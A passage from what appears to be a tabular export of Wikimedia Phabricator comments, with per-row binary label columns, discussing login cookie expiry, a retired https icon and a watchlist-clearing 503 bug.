+2) Is the only use case that would justify this change so that users who aren't very active don't have to log in again if they've been inactive for over a month?",,,1403045049,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,1,1,1
+301769,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Matthew Flaschen from comment #12)
+> I don't know that we want to keep using wgCookieExpiration for this, though.
+> That would make the default (on WMF wikis) for all cookies a year, which
+> would probably encourage proliferation of little cookies that are not as
+> important as whether you're logged in (E.g. this cookie indicates you have
+> the third sidebar of the page toggled; too bad we removed that feature X
+> months ago).  This also has performance implications, since cookies use
+> bandwidth on every request.
+> 
+> It's not a big deal to make a separate variable for this, I think.
+
++1. Fully in support of making a login-specific setting for this.",,,1403043200,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,1,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+301766,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","""All cookies"" meaning unless they specify an explicit expiration directly.",,,1403043137,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0
+301763,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I don't know that we want to keep using wgCookieExpiration for this, though.  That would make the default (on WMF wikis) for all cookies a year, which would probably encourage proliferation of little cookies that are not as important as whether you're logged in (E.g. this cookie indicates you have the third sidebar of the page toggled; too bad we removed that feature X months ago).  This also has performance implications, since cookies use bandwidth on every request.
+
+It's not a big deal to make a separate variable for this, I think.",,,1403043052,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+301761,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Quiddity from comment #10)
+> Semi-related, there's also bug 47694 ('""Remember me"" on Login interface
+> should state duration')
+
+FYI: The patch associated with that bug request (https://gerrit.wikimedia.org/r/#/c/110279/) states: ""If $wgCookieExpiration is smaller than its default value of 180 days, the length of time the user will stay logged in will now be displayed next to the ""Keep me logged in"" checkbox on the login form.""
+
+This means that it would show nothing if cookie expiration is one year.",,,1403039399,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,1,0,1
+301757,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Jared Zimmerman (WMF) from comment #9)
+> is there a related bug to remove this from the login form or the prefs page?
+> its weird to have it in both places, and most users assume a ""remember me""
+> type behavior anyway.
+
+It isn't in the prefs page anymore.  Removed via bug 52342 in April/May.
+
+Semi-related, there's also bug 47694 ('""Remember me"" on Login interface should state duration')",,,1403038209,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1
+301753,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","is there a related bug to remove this from the login form or the prefs page? its weird to have it in both places, and most users assume a ""remember me"" type behavior anyway.",,,1403035455,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0
+301748,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Chris Steipp from comment #7)
+> (In reply to James Forrester from comment #5)
+> > (In reply to Chris Steipp from comment #4)
+> > > My initial reaction is that for privileged accounts, 1 year sounds
+> > > excessive. But for normal accounts, this should be fine.
+> > > 
+> > > When we're able to implement password length and https requirements per use
+> > > group, we may also customize this.
+> > 
+> > Does this mean you're OK with going with this change for all accounts for
+> > now, with the intent to reduce it back down for privileged accounts later,
+> > or do you want us to hold off until that functionality is created (and if
+> > so, when will that happen and who will do it)?
+> 
+> Yes, I'm ok with it for now. Steven makes a good point on the usability.
+> We'll discuss more whenever I get the chance to work on it.
+
+Thanks for the quick replies and flexibility Chris. 
+
+Assigned this to Sam Smith, since we have the bandwidth to pick this up as part of our current sprint.",,,1403034498,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+301743,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to James Forrester from comment #5)
+> (In reply to Chris Steipp from comment #4)
+> > My initial reaction is that for privileged accounts, 1 year sounds
+> > excessive. But for normal accounts, this should be fine.
+> > 
+> > When we're able to implement password length and https requirements per use
+> > group, we may also customize this.
+> 
+> Does this mean you're OK with going with this change for all accounts for
+> now, with the intent to reduce it back down for privileged accounts later,
+> or do you want us to hold off until that functionality is created (and if
+> so, when will that happen and who will do it)?
+
+Yes, I'm ok with it for now. Steven makes a good point on the usability. We'll discuss more whenever I get the chance to work on it.",,,1403034157,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+301735,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to Chris Steipp from comment #4)
+> My initial reaction is that for privileged accounts, 1 year sounds
+> excessive. But for normal accounts, this should be fine.
+> 
+> When we're able to implement password length and https requirements per use
+> group, we may also customize this.
+
+Privileged users will definitely want this feature just as much as those without special permissions. Maybe even more, since they tend to be active more often. 
+
+If we think privileged accounts need extra session security then we should enforce that through other means I think, like increased minimum password lengths/complexity, force use of HTTPS, and so on. 
+
+From a design standpoint, changing the expected behavior (either the length of the cookie expiration or the visibility of the checkbox) depending on the user's permissions is awkward. It seems pretty likely to confuse or annoy users to have logins behave differently depending on account type/permissions.",,,1403029567,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+301726,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Chris Steipp from comment #4)
+> My initial reaction is that for privileged accounts, 1 year sounds
+> excessive. But for normal accounts, this should be fine.
+> 
+> When we're able to implement password length and https requirements per use
+> group, we may also customize this.
+
+Does this mean you're OK with going with this change for all accounts for now, with the intent to reduce it back down for privileged accounts later, or do you want us to hold off until that functionality is created (and if so, when will that happen and who will do it)?",,,1403028458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+301720,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","My initial reaction is that for privileged accounts, 1 year sounds excessive. But for normal accounts, this should be fine.
+
+When we're able to implement password length and https requirements per use group, we may also customize this.",,,1403027649,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+301717,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","(In reply to Steven Walling from comment #2)
+> (In reply to James Forrester from comment #1)
+> > Is this cleared by legal and security? Also, note that
+> > https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ will need to be
+> > updated.
+
+(In reply to James Forrester from comment #1)
+> Is this cleared by legal and security? Also, note that
+> https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ will need to be
+> updated.
+
+Yes, the change has been cleared by legal.  The extension to one year is permissible under the new privacy policy, as Steven indicated.  We will update the FAQ once the change goes into effect.",,,1403027159,,PHID-USER-kffalvhbc2wojbtnxvua,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+301714,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","**swalling** wrote:
+
+(In reply to James Forrester from comment #1)
+> Is this cleared by legal and security? Also, note that
+> https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ will need to be
+> updated.",,,1403027019,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-55,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1
+301711,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Is this cleared by legal and security? Also, note that https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ will need to be updated.",,,1403020131,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0
+68219,https/secure link icon does not use asset from Wikifont,"performance increase would possibly be realized if https/secure link icon svg was swapped with wikifont icon character for https/secure link
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal",Medium,50.0,1402004400,1450710157.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-TASK-5c6446qlloqctwqq4nqq,task_description,resolved,True,c3,1,False,False,False,-56,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+582105,https/secure link icon does not use asset from Wikifont,"HTTPs secure link icons are no longer in use (T63178), as all links are now secure pointing to secure resources by default.
+
+Therefore closing as resolved",,,1450710157,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-5c6446qlloqctwqq4nqq,task_subcomment,,True,c3,3,True,,,24,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+68212,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**Author:** `ab.zachaeus`
+
+**Description:**
+Background: Grow tired of not being able to edit massive (41k+) watchlist by normal means (clicky-clicky or raw) (see bug T41510). Manually whittle watchlist down to 39k+ entries. Dig out https://commons.wikimedia.org/w/api.php?action=query&generator=watchlistraw&gwrlimit=max and hand-craft a list of watchlist entries to be kept after a watchlist purge.
+
+The act: go to https://commons.wikimedia.org/wiki/Special:EditWatchlist/clear and click the button. Watch nothing happen. Get following error message:
+
+```
+Request: POST http://commons.wikimedia.org/wiki/Special:EditWatchlist/clear, from 10.64.0.104 via cp1055 cp1055 ([10.64.32.107]:3128), Varnish XID 3575162694
+Forwarded for: 84.250.106.149, 91.198.174.103, 208.80.154.134, 10.64.0.104
+Error: 503, Service Unavailable at Thu, 05 Jun 2014 19:07:13 GMT
+```
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal
+**See Also**:
+{T41510}
+{T66074}",Medium,50.0,1401998340,1519388914.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-u7w6n5ecde66oujx33pe,False,PHID-TASK-lxtlzycgrykh72kfvh64,task_description,resolved,True,c3,1,False,False,False,-56,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1018896,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","So, I'm going to mark this as closed as the patches have been deployed so clearing large watchlists should now be possible.",,,1519388914,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,138,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+1010946,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",So the merging of the above patch and closing of T132564 should see watchlist clearing using the job queue enabled with the next train.,,,1518438571,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,136,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+1010143,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Change 277436 **merged** by jenkins-bot:
+[mediawiki/core@master] Use WatchedItemStore clearing in SpecialEditWatchlist
+
+[[https://gerrit.wikimedia.org/r/277436]]",,,1518206781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,136,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+885691,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",https://gerrit.wikimedia.org/r/#/c/277436 has now been rebased and altered to use wl_id,,,1498850706,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,104,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+629742,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Change 277436 had a related patch set uploaded (by Addshore):
+Use WatchedItemStore in SpecialEditWatchlist
+
+[[https://gerrit.wikimedia.org/r/277436]]
+",,,1458002587,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+537967,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",Perhaps this is something which we should use the job queue for. Downside would be it might sometimes take several hours for the jobs to be executed but I think users can accept longer waits for performing heavy operations like this.,,,1443613986,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,12,True,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+521561,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",">>! In T68212#1606695, @Ciencia_Al_Poder wrote:
+> I'm wondering what kind of ""selective editing"" do you expect to perform on a 39K list
+
+- Removal of most non-existing pages, categories, and files.
+- Removal of large sets with uniform file name type, when checking one confirms I'm not interested in watching any of them (for instance, a couple of dozen files names to the effect of Rosa spec. cultivar 'Sommerwind' at Plozhofener Rosegarden in Weldham 0222.JPG)
+- Removal of all files containing a certain string (Plozhofener Zoo)
+- Removal of all IP user talk and user pages
+- Removal of all RfD pages
+- Removal of most RDs",,,1441457065,,PHID-USER-nnn7kd34fbisefr6p2an,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1
+521111,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",">>! In T68212#1606211, @Pitke wrote:
+> Would like to mention that somewhere between 33,5K and 35K entries, Special:EditWatchlist began to load and work, if very slowly. Selecting more than 10-20 entries causes increasing lag.
+> 
+>>>! In T68212#1202608, @Aklapper wrote:
+>> Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.
+> This only works for clearing the watchlist but does not allow selective editing, and needs to be combined with a manually reduced API raw output feed (to enter in the raw edit).
+
+I'm wondering what kind of ""selective editing"" do you expect to perform on a 39K list",,,1441382064,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,True,,,9,True,0,0,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+521014,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Would like to mention that somewhere between 33,5K and 35K entries, Special:EditWatchlist began to load and work, if very slowly. Selecting more than 10-20 entries causes increasing lag.
+
+>>! In T68212#1202608, @Aklapper wrote:
+> Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.
+This only works for clearing the watchlist but does not allow selective editing, and needs to be combined with a manually reduced API raw output feed (to enter in the raw edit).
+",,,1441366244,,PHID-USER-nnn7kd34fbisefr6p2an,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,9,True,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,1
+521012,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Would like to mention that somewhere between 33,5K and 35K entries, Special:EditWatchlist began to load and work, if very slowly. Selecting more than 10-20 entries causes increasing lag.
+
+>>! In T68212#1202608, @Aklapper wrote:
+> Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.
+This only works for clearing the watchlist but does not allow selective editing.
+",,,1441366128,,PHID-USER-nnn7kd34fbisefr6p2an,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,3,False,,,9,True,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,1
+442711,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",Lowering priority from high to normal to reflect reality (no progress here for months; feel free to increase once an assignee is set); workaround available in T68212#698926.,,,1428926047,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+302973,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**ab.zachaeus** wrote:
+
+I've been whittling my watchlist down (originally +39K), just broke 36K and raw editing works fine now. I'll assume the list could be emptied as well. Normal edit still fails.",,,1412061111,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+302970,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",*** Bug 68559 has been marked as a duplicate of this bug. ***,,,1406299582,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-49,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+302965,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","...or rather, that was what I remembered from when I looked at it back then. There seems to be a button now :-)",,,1405276460,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+302961,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","Note that /clear *does not clear, but just responds with /raw*!
+
